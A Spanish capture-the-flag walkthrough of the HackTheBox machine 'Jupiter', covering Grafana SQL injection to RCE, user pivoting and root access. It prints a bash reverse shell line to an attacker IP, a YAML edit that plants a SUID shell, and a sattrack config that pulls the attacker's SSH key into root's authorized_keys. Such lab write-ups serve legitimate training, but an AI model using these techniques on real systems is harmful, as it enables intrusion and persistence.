Jupiter es una máquina de dificultad media en la plataforma de HTB. Para poder acceder a la máquina deberemos realizar un SQLI to RCE en el servicio de grafana. Una vez hemos accedido debemos acceder a otro usuario mediante un fichero YAML. Una vez en el siguiente usuario debemos abusar del servicio de Jupyter que está corriendo internamente para movernos a otro usuario. Por último, para convertirnos en root abusaremos de un binario creando un archivo JSON para que se descargue nuestro id_rsa.pub y así acceder por SSH.

Enumeración

Escaneo de puertos

Iniciamos la máquina realizando un escaneo general para obtener los puertos abiertos.

❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.216 -oG allPorts
[sudo] contraseña para mrx: 
Starting Nmap 7.80 ( https://nmap.org ) at 2023-06-04 22:14 CEST
Initiating SYN Stealth Scan at 22:14
Scanning 10.10.11.216 [65535 ports]
Discovered open port 80/tcp on 10.10.11.216
Discovered open port 22/tcp on 10.10.11.216
Discovered open port 31339/tcp on 10.10.11.216
Completed SYN Stealth Scan at 22:14, 11.84s elapsed (65535 total ports)
Nmap scan report for 10.10.11.216
Host is up, received user-set (0.049s latency).
Scanned at 2023-06-04 22:14:44 CEST for 12s
Not shown: 65532 closed ports
Reason: 65532 resets
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 63
80/tcp    open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.96 seconds
           Raw packets sent: 67593 (2.974MB) | Rcvd: 65588 (2.624MB)

Los puertos abiertos son el 22 y el 80.

Los parámetros utilizados son:

  • -p- : Escaneo de todos los puertos. (65535)
  • –open: Para que solo muestre los puertos abiertos
  • -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
  • –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
  • -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
  • -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
  • -Pn: Deshabilitamos el descubrimiento de host mediante ping.
  • -oG: Este tipo de fichero guarda todo el escaneo en una sola línea haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.

Escaneamos los puertos abiertos para obtener los servicios y versiones de los mismos.

❯ nmap -p22,80 -sCV 10.10.11.216 -oN targeted
Starting Nmap 7.80 ( https://nmap.org )
Nmap scan report for 10.10.11.216
Host is up (0.047s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http       nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Añadimos el dominio jupiter.htb

Esta es portada de la página web.

HTB

Si realizamos un fuzzing para descubrir rutas no encontraremos nada interesante, pero si lo hacemos para posibles subdominios descubrimos que existe kiosk.jupiter.htb.

❯ wfuzz -c --hc=404 --hh=178 -t 200 -w /snap/seclists/25/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Host:FUZZ.jupiter.htb" http://jupiter.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://jupiter.htb/
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                
=====================================================================

000000009:   400        7 L      12 W       166 Ch      "# Suite 300, San Francisco, California, 94105, USA."                                                                  
000000007:   400        7 L      12 W       166 Ch      "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"                                                      
000013173:   200        211 L    798 W      34390 Ch    "kiosk"                                                                                                                
^C /home/mrx/.local/lib/python3.10/site-packages/wfuzz/wfuzz.py:79: UserWarning:Finishing pending requests...

Total time: 62.36035
Processed Requests: 22268
Filtered Requests: 22265
Requests/sec.: 357.0858

Esta sería la página principal del subdominio y se trata de un Grafana. Para el que no conozca, Grafana es un software libre vía web que permite la visualización y el formato de datos métricos.

HTB

Grafana dispone de una API, interesante ya que normalmente se suele recabar bastante información. (Data Source API)

Si realizamos una petición a /api/datasources obtendremos lo siguiente:

[
  {
    "id": 1,
    "uid": "YItSLg-Vz",
    "orgId": 1,
    "name": "PostgreSQL",
    "type": "postgres",
    "typeName": "PostgreSQL",
    "typeLogoUrl": "public/app/plugins/datasource/postgres/img/postgresql_logo.svg",
    "access": "proxy",
    "url": "localhost:5432",
    "user": "grafana_viewer",
    "database": "",
    "basicAuth": false,
    "isDefault": true,
    "jsonData": {
      "database": "moon_namesdb",
      "sslmode": "disable"
    },
    "readOnly": false
  }
]

Si seguimos buscando por la página oficial de Grafana descubriremos que en la ruta /api/ds/query se pueden realizar peticiones mediante POST y enviar según que información que ya hemos obtenido.

HTB

Intrusión

Mediante Burpsuite interceptamos la petición y añadimos la información siguiendo el esquema de la foto anterior. Intentamos realizar un SQLI to RCE, nos intentamos enviarnos un ping y nos llega la petición satisfactoriamente, así que lo siguiente será entablarnos una reverse shell.

HTB

Nos ponemos en escucha por el puerto 4444.

❯ nc -nvlp 4444
Listening on 0.0.0.0 4444

Enviamos la petición y obtenemos la reverse shell como el usuario postgres.

❯ nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.216 47462
bash: cannot set terminal process group (1700): Inappropriate ioctl for device
bash: no job control in this shell
postgres@jupiter:/var/lib/postgresql/14/main$ 

Escalada de privilegios

Movimiento lateral (Postgres -> Juno)

Si vamos a la raíz del sistema nos damos cuenta de que la carpeta dev no es una carpeta común.

postgres@jupiter:/$ ls -l
total 64
lrwxrwxrwx   1 root root     7 Apr 21  2022 bin -> usr/bin
drwxr-xr-x   4 root root  4096 May 30 13:53 boot
drwxr-xr-x  20 root root  4020 Jun  7 14:26 dev
drwxr-xr-x 108 root root  4096 May 30 13:50 etc
drwxr-xr-x   4 root root  4096 Mar  7 13:00 home
lrwxrwxrwx   1 root root     7 Apr 21  2022 lib -> usr/lib
lrwxrwxrwx   1 root root     9 Apr 21  2022 lib32 -> usr/lib32
lrwxrwxrwx   1 root root     9 Apr 21  2022 lib64 -> usr/lib64
lrwxrwxrwx   1 root root    10 Apr 21  2022 libx32 -> usr/libx32
drwx------   2 root root 16384 Mar  7 09:42 lost+found
drwxr-xr-x   2 root root  4096 Apr 21  2022 media
drwxr-xr-x   2 root root  4096 May  4 18:59 mnt
drwxr-xr-x   3 root root  4096 May  4 18:59 opt
dr-xr-xr-x 304 root root     0 Jun  7 14:26 proc
drwx------   7 root root  4096 May  5 12:00 root
drwxr-xr-x  29 root root   900 Jun  7 18:04 run
lrwxrwxrwx   1 root root     8 Apr 21  2022 sbin -> usr/sbin
drwxr-xr-x   6 root root  4096 May  4 18:59 snap
drwxr-xr-x   2 root root  4096 May  4 18:59 srv
dr-xr-xr-x  13 root root     0 Jun  7 14:26 sys
drwxrwxrwt  15 root root  4096 Jun  7 18:16 tmp
drwxr-xr-x  14 root root  4096 Apr 21  2022 usr
drwxr-xr-x  14 root root  4096 May  4 18:59 var
postgres@jupiter:/$

En una de las muchas carpetas descubrimos este archivo YAML bastante interesante, ya que lo podemos editar y ejecuta diferentes herramientas del sistema.

postgres@jupiter:/dev/shm$ cat network-simulation.yml 
general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -m http.server 80
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/curl
      args: -s server
      start_time: 5s
postgres@jupiter:/dev/shm$

Nos descargamos pspy desde nuestra máquina de atacante.

postgres@jupiter:/tmp$ wget http://10.10.14.69/pspy
--2023-06-07 18:23:57--  http://10.10.14.69/pspy
Connecting to 10.10.14.69:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy’

pspy                100%[===================>]   2.96M  3.85MB/s    in 0.8s    

2023-06-07 18:23:58 (3.85 MB/s) - ‘pspy’ saved [3104768/3104768]

postgres@jupiter:/tmp$ chmod +x pspy 
postgres@jupiter:/tmp$ ./pspy

Vemos que el archivo lo ejecuta el usuario juno.

2023/06/07 18:36:01 CMD: UID=1000  PID=6037   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml

Creamos un archivo en la ruta /dev/shm, añadimos el siguiente contenido y le damos permisos de ejecución.

postgres@jupiter:/tmp$ cd /dev/shm/
postgres@jupiter:/dev/shm$ ls
network-simulation.yml  PostgreSQL.2199750854  shadow.data
postgres@jupiter:/dev/shm$ nano shell.sh
postgres@jupiter:/dev/shm$ cat shell.sh 
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.69/4444 0>&1'
postgres@jupiter:/dev/shm$ chmod +x shell.sh 
postgres@jupiter:/dev/shm$

Editamos el network-simulation.yml y añadimos lo siguiente.

  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/cp
      args: /bin/bash /tmp/bash
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/chmod
      args: u+s /tmp/bash
      start_time: 5s

Después de unos minutos el script ha sido ejecutado y obtenemos la consola como Juno.

postgres@jupiter:/tmp$ ls -l bash
-rwsr-xr-x 1 juno juno 1396520 Jun  7 19:14 bash
postgres@jupiter:/tmp$ bash -p
postgres@jupiter:/tmp$ ./bash -p
bash-5.1$ whoami
juno
bash-5.1$

TIP: Para tener mejor consola recomiendo, descargar el id_rsa.pub en la máquina y cambiarle el nombre a authorized_keys para así obtener persistencia.

Movimiento lateral (Juno -> Jovian)

Si miramos a los grupos vemos que pertenece al grupo science.

juno@jupiter:~$ id
uid=1000(juno) gid=1000(juno) groups=1000(juno),1001(science)

Buscamos algún archivo asociado a dicho grupo y podemos encontrar un directorio que contiene scripts de Jupyter.

juno@jupiter:~$ find / -group science 2>/dev/null
/opt/solar-flares
/opt/solar-flares/flares.csv
/opt/solar-flares/xflares.csv
/opt/solar-flares/map.jpg
/opt/solar-flares/start.sh
/opt/solar-flares/logs
/opt/solar-flares/logs/jupyter-2023-03-10-25.log
/opt/solar-flares/logs/jupyter-2023-03-08-37.log
/opt/solar-flares/logs/jupyter-2023-03-08-38.log
/opt/solar-flares/logs/jupyter-2023-03-08-36.log
/opt/solar-flares/logs/jupyter-2023-03-09-11.log
/opt/solar-flares/logs/jupyter-2023-03-09-24.log
/opt/solar-flares/logs/jupyter-2023-03-08-14.log
/opt/solar-flares/logs/jupyter-2023-03-09-59.log
/opt/solar-flares/flares.html
/opt/solar-flares/cflares.csv
/opt/solar-flares/flares.ipynb
/opt/solar-flares/.ipynb_checkpoints
/opt/solar-flares/mflares.csv
juno@jupiter:~$ 

Si miramos los puertos internos abiertos, descubrimos que el 8888 está abierto.

juno@jupiter:/opt/solar-flares$ netstat -ntpl                                                                                                                                    [14/14]
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)                                                  
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                    
tcp        0      0 127.0.0.1:8888          0.0.0.0:*               LISTEN      -                    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                    
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                    
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -                    
tcp6       0      0 :::22                   :::*                    LISTEN      -                    

Si buscamos cuál sé el puerto por defecto de Jupyter encontramos que es el 8888, así en este caso Jupyter está corriendo internamente.

HTB

Nos conectamos por SSH realizando un port forwarding para poder acceder a Jupyter.

❯ ssh -L 8888:127.0.0.1:8888 [email protected]

Accedemos y lo que nos pide es una contraseña o un token, al no disponer de ninguna miramos los logs de la carpeta encontrada anteriormente.

HTB

Si filtramos la palabra token descubrimos varios tokens, utilizamos el último.

logs/jupyter-2023-06-07-26.log:        http://localhost:8888/?token=166bc24a89515f0e88e4cc1bb3e71967a3519d8d4621546c
logs/jupyter-2023-06-07-26.log:     or http://127.0.0.1:8888/?token=166bc24a89515f0e88e4cc1bb3e71967a3519d8d4621546c

Accedemos y se trata de la carpeta encontrada anteriormente.

HTB

Creamos un archivo y nos intentamos entablar una reverse shell mediante Python.

HTB

Lo ejecutamos y obtenemos una consola como Jovian. Volvemos a copiar nuestro id_rsa.pub en el archivo authorized_keys para poder conectarnos por SSH.

❯ nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.216 34984
bash: cannot set terminal process group (44357): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

jovian@jupiter:/opt/solar-flares$

Movimiento lateral (Jovian -> Root)

Si miramos los permisos que dispone, podemos ejecutar el siguiente binario.

jovian@jupiter:~$ sudo -l
Matching Defaults entries for jovian on jupiter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jovian may run the following commands on jupiter:
    (ALL) NOPASSWD: /usr/local/bin/sattrack
jovian@jupiter:~$

El siguiente binario lo que hace es básicamente localizar satélites a través de archivos de configuración.

Para obtener más información sobre qué parámetros debe haber en el archivo, debemos buscar la palabra "config" y obtenedremos la información que necesitamos.

El archivo debe residir en el directorio /tmp y debe tener el nombre de config.json, y los parámetros del archivo són: tleroot, updatePerdiod, station, name, lat, lon, hgt, mapfile, texturefile y tlefile.

jovian@jupiter:~$ strings /usr/local/bin/sattrack | grep "config"
/tmp/config.json
tleroot not defined in config
updatePerdiod not defined in config
station not defined in config
name not defined in config
lat not defined in config
lon not defined in config
hgt not defined in config
mapfile not defined in config
texturefile not defined in config
tlefile not defined in config
su_lib_log_config
_GLOBAL__sub_I__Z6configB5cxx11
jovian@jupiter:~$ 

En el siguiente repositorio encontramos un archivo de configuración con los mismos parámetros para así hacernos una idea del esquema que hay que seguir. Sattrack Repositori

En nuestro caso el archivo debería de ser así. Esto lo que hace es basicamente descargar nuestro id_rsa.pub y añadirlo al authorized_keys del usuario root.

jovian@jupiter:~$ cat sattrack.json 
{
  "tleroot":"/root/.ssh/",
  "tlefile":"authorized_keys",
  "mapfile":"/home/jovian/earth.png",
  "texturefile":"/home/jovian/map.json",

  "tlesources":[
          "http://10.10.14.69/authorized_keys"
  ],

  "updatePerdiod":1000,

  "station": {
        "name":"LORCA",
        "lat": 37.5211,
        "lon": -1.5910,
        "hgt": 335.05
  },

  "show": [

  ],

  "columns":[
        "name",
        "azel",
        "dis",
        "geo",
        "tab",
        "pos",
        "vel"
  ]
}

Los archivos: earth.png y map.json los debemos de descargar del repositorio y pasarlos a la máquina víctima.

Abrimos nuestro servidor web.

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Una vez están todos los archivos en sus directorios correspondientes, ejecutamos la herramienta.

jovian@jupiter:~$ sudo /usr/local/bin/sattrack
Satellite Tracking System
Get:0 http://10.10.14.69/authorized_keys
Satellites loaded
No sats
jovian@jupiter:~$ 

Nos llega la petición de nuestro id_rsa.pub

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.216 - - [10/Jun/2023 00:58:39] "GET /authorized_keys HTTP/1.1" 200 -

Nos conectamos por SSH mediante el usuario root y leemos la flag.

❯ ssh [email protected]
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-72-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Jun  9 10:59:29 PM UTC 2023

  System load:           0.0
  Usage of /:            85.4% of 12.33GB
  Memory usage:          20%
  Swap usage:            0%
  Processes:             235
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.216
  IPv6 address for eth0: dead:beef::250:56ff:feb9:c065

  => / is using 85.4% of 12.33GB

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

root@jupiter:~# cat root.txt 
b363b8bfcd501a637028e97d50a23783
root@jupiter:~# 

Leave a Reply

Your email address will not be published. Required fields are marked *